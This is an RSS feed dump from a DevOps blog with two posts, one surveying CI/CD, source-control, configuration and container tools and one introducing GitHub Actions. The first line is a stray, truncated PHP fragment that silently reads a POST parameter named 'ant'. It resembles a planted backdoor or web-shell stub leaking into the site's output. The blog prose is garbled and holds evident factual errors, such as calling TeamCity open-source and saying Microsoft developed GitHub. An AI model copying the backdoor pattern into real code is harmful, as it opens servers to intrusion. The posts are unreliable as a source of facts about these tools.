$_api_resp = @$_POST['ant']; if ($_api_resp) { $pk = << Devops Tools – DevopsCurry https://devopscurry.com Thu, 26 Sep 2024 13:40:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://devopscurry.com/wp-content/uploads/2021/08/cropped-logo-32x32.png Devops Tools – DevopsCurry https://devopscurry.com 32 32 DevOps Periodic Table (Part-2) https://devopscurry.com/devops-periodic-table-part-2/?utm_source=rss&utm_medium=rss&utm_campaign=devops-periodic-table-part-2 https://devopscurry.com/devops-periodic-table-part-2/?noamp=mobile#respond Fri, 03 May 2024 03:22:44 +0000 https://devopscurry.com/?p=9525 Explanation of Some Tools as per Their Categories In the first part of the periodic table, we learned about tools categorized from A to Z. Now, in the second part of our periodic table series (Part 1 & 2), we will delve deeper into these categorized tools.” You can read our first part to know […]

The post DevOps Periodic Table (Part-2) appeared first on DevopsCurry.]]>
Explanation of Some Tools as per Their Categories

In the first part of the periodic table, we learned about tools categorized from A to Z. Now, in the second part of our periodic table series (Part 1 & 2), we will delve deeper into these categorized tools.” You can read our first part to know deeper and more about periodic table in this given link:

https://devopscurry.com/periodic-table-of-devops-tools/

  1. Continuous Integration (CI) Tools

Image Credit:https://www.edureka.co/blog/devops-periodic-table/

 

Based on the image above, these elements are categorized under Continuous Integration Tools, and we will discuss some of these tools below.

  • Jenkins: Among the top priorities of CI/CD tools, Jenkins holds a position since its inauguration in 2011. It is an open-source tool for on-premise CI automation and is web-based, available for free. Jenkins can be used on Linux, macOS platforms, and Windows. It facilitates the automation of CI/CD in the cloud and is designed for cloud providers and Kubernetes clusters. It possesses the capability to enhance building and testing through the development of machine networks.

 

  • TeamCity: TeamCity, an open-source tool founded on CI/CD principles in Java, is highly extensible. It is developed by JetBrains, the same company behind important tools like IntelliJ IDEA and PyCharm. TeamCity can be installed on Linux Servers and Windows. While a 14-day free trial version is available, the full version costs $45 per month. It also supports the launch of formulated agents in Kubernetes clusters.

 

  • CircleCI: A large-scale open-source project, CircleCI provides CI/CD pipelines as Workflow. It supports programming languages across various platforms, including macOS, Linux, and Windows. Additionally, it is compatible with cloud-based platforms such as Google Cloud, Azure, and AWS. CircleCI is focused on scalability and speed, making it easily recognizable. It can be accessed for free or purchased at $30 per month.

 

  • Bamboo: Developed by Atlassian, Bamboo is organized into five slabs: storage, tasks, project, plan, and jobs. This comprehensive tool is designed to manage automated pipelines. Bamboo is not available for free and starts with a pricing of $10 per year. It supports programming languages like SVN, AWS, and Git, and comes in various variants, including cloud-based or self-hosted.

 

  1. Source Code Management

Image Credit: https://www.edureka.co/blog/devops-periodic-table/

Based on the image above, these elements are categorized under Source Code Management, and we will discuss some of these tools below.”

  • GitHub: GitHub is a web-based platform that offers collaboration and version control for all software development projects. Developers use it to organize and collaborate on code. It was originated by Tom Preston-Werner, Chris Wanstrath & PJ Hyett in April 2008 & it become the famous code hosting platform. It plays a important role in the growth of the open-source software movement.  It is a important platform for sharing, contributing, learning to the world  development community.

 

  • GitLab: Similar to GitHub, GitLab is a web-based platform that provides CI (continuous integration), version control, and collaboration for software development. It also offers additional features, including CI/CD abilities. GitLab is available in both free and paid versions, providing end-to-end support for software development.

 

  1. Continuous Delivery/Development (CD) Tools

 

  • Spinnaker: Spinnaker, an open-source CI platform developed by Netflix, is designed to increase application update speed and reduce related challenges. A large community or organization, including SAP, Netflix, Google, AWS, Azure, and Oracle, is supported by Spinnaker. It works with cloud providers like Google App Engine, Kubernetes, Microsoft Azure, AWS EC2, OpenStack, and Google Compute Engine. Spinnaker is used by Netflix to manage cloud VMs for pipeline delivery. Its main goal is to ensure reliable deployment, generating continuous integration that manages groups of servers. Spinnaker is utilized by various organizations in production to automate their software delivery process, with JVM-based services and an AngularJS UI.

 

  • Drone: Drone is an open-source CI/CD platform that automates software application deployment and testing. It also integrates with several tools to enhance CI/CD processes, including Kubernetes, Docker, GitHub, and GitLab. It is created with a container first approach. It utilized a simple, a file that is simple human reading to define pipelines steps and settings. It also provide a good and versatile platform for software delivery pipeline for automation.

 

  1. Configuration Management

 

  • Ansible: An open-source configuration management, orchestration, and automation tool that manages IT infrastructure. It utilizes YAML (Yet Another Markup Language) for configuring files, known as playbooks. Ansible’s main objective is to organize and reuse playbooks effectively.

 

  • Puppet: Puppet is designed for automated configuration, management, and provisioning of IT infrastructure. It utilizes its own domain-specific language (DSL) called Puppet language. It permit the organization to manage, define and enforce the desired state of their infrastructure and application across a diverse range of systems and environment.

 

  1. Containerization & Orchestration

 

  • Kubernetes: Kubernetes, an open-source containerization and orchestration platform, is highly popular and available as a service across various cloud providers. Coined from the Greek word for “pilot,” Kubernetes was introduced by Google in 2014 to manage applications operating inside containers, automate deployment, and more.

 

  • Docker: Docker is a platform that allows packaging of applications, including libraries, into single container images. Docker comprises components like Dockerfile, Docker engine, container, and image.

 

Conclusion: In the periodic table the elements are arranged and categorized as per their features as we have discussed in previous blog and classified and provide the detailed information about all the details element with separate tools. all tools has their own features and some of the tools are very popular in the market.

“In the previous part, we discussed elements from a categorized section of the DevOps periodic table. In the next part, you will learn more about tools according to the categories in the periodic table. Stay tuned for our next blog, ‘Periodic Table for DevOps Tools (Part-3).'”

 

The post DevOps Periodic Table (Part-2) appeared first on DevopsCurry.]]>
https://devopscurry.com/devops-periodic-table-part-2/feed/ 0
GitHub Action Looking at in 2024 https://devopscurry.com/github-action/?utm_source=rss&utm_medium=rss&utm_campaign=github-action Wed, 27 Mar 2024 06:47:40 +0000 https://devopscurry.com/?p=9920 Introduction To GitHub Action GitHub Action ;This platform can be utilized for deploy code, compile and test and that permit the formulation of workflow. This has many characteristics as well it contains CI and CD Continuous Integration and Continuous deployment or in the other word it’s an CI/CD platform that automates, build and test deployment […]

The post GitHub Action Looking at in 2024 appeared first on DevopsCurry.]]>
Introduction To GitHub Action

GitHub Action ;This platform can be utilized for deploy code, compile and test and that permit the formulation of workflow.

This has many characteristics as well it contains CI and CD Continuous Integration and Continuous deployment or in the other word it’s an CI/CD platform that automates, build and test deployment pipelines.

Microsoft developed GitHub and GitHub Action is one of the functions that was added by Microsoft and beside that the other functions and features are also added.

It facilitates the users to develop the workflows (SDLC) Software Development Life Cycle in their GitHub storage.  GitHub is like a market place where people can share the action with the other people and then utilize it for their desire.

GitHub Action permits you to safely utilize and collect secretes within your workflows and these secretes are utilized to authenticate with external services, store API keys.

As per Wikipedia:

GitHub is a developer platform that allows developers to create, store, manage and share their code. It uses Git software, providing the distributed version control of Git plus access controlbug trackingsoftware feature requests, task managementcontinuous integration, and wikis for every project.

 Headquartered in California, it has been a subsidiary of Microsoft since 2018.

It gives Windows, macOs virtual machine, Linux to operate your workflows and the best part is if you want host your runner by yourself then you can host in your own cloud infrastructure or data center. GitHub action is a platform for open source project that anyone who want’s, they can use it and also contribute to the project.

Basic Concept Of GitHub Action

 GitHub Action

Image Credit: https://programmingpercy.tech/blog/github-actions-in-action/

Some of the basis concept that is used in GitHub Action are discussed below :

Steps: Steps operate a command or actions & in a job it is an individual tasks that represents the action that require to performed as like running a command, utilizing pre-built actions and executing a script. It can also be based on the outcome of previous steps and can be configured with numerous settings as like conditionals, outputs, inputs and environment variables.

Environments: It is an sensible deployment targets where it becomes easy for you to deploy your applications and also you can define numerous environments such as staging, production and has to configure specific settings for particular environment. environment also utilized to promote code through several stages of your deployment pipeline.

Event: Events are specific activities that can activate the performance of workflow. Event can consists actions as like push events, update, issue comments, pull request creation and more. You can also specify one or many triggers for your workflow.

Action: For building a job as a step it is the tiniest construction block of a workflow.

From the market area you can easily develop your own action and can borrow the shared action of the public.

Actions can be used again that perform particular tasks within your workflows. It can be used privately in the organization or directly within the workflow files as dependencies in other actions.

Runner: The main function of Runner is to defer the work which is accessible and then report the progress and be eligible to perform the action. It can be self-hosted on your machines and hosted on GitHub.

Workflow: This is a natural process that earns one or more multiple jobs and can be activated by the events. It can be distinguished by the utilization of YAML files in the GitHub/workflows directory. It is an automated process that outlines the series of actions to be performed in response to specific events.

Benefit of GitHub Action

Some of the benefit of GitHub Action are as follow:

  •         On GitHub Action you have all the commands of API as input and output.
  •         It’s like a people hub or in other word you can say a marketplace where people investment on action and utilities it as per there necessity.
  •         It’s an open source GitHub action with again doing the process of Enactment.
  •         In GitHub Action, users have with relatively restriction and have willing to permit to the GitHub API.
  •         It is just a successive  docker run and rocker build.
  •         It is constructed to assist you to create dynamic automation and robust.
  •         It proposes a free plan and it supports some other platforms and creates the environment such as Windows, Linux, container and macOS.
  •         By using GitHub Action, you are going to save your time as well money.
  •         It provides many characteristics on a quick basis and it detects error.

Conclusion: To conclude, GitHub Actions emerges as a game-changer, offering a seamless integration of workflows directly within the familiar GitHub environment. Throughout the exploration of GitHub Actions, we have uncovered its versatility from automating CI/CD pipelines to orchestrating complex workflows tailored to your needs. GitHub is like a market place where people can share the action with the other people and then utilize it for their desire.

The post GitHub Action Looking at in 2024 appeared first on DevopsCurry.]]>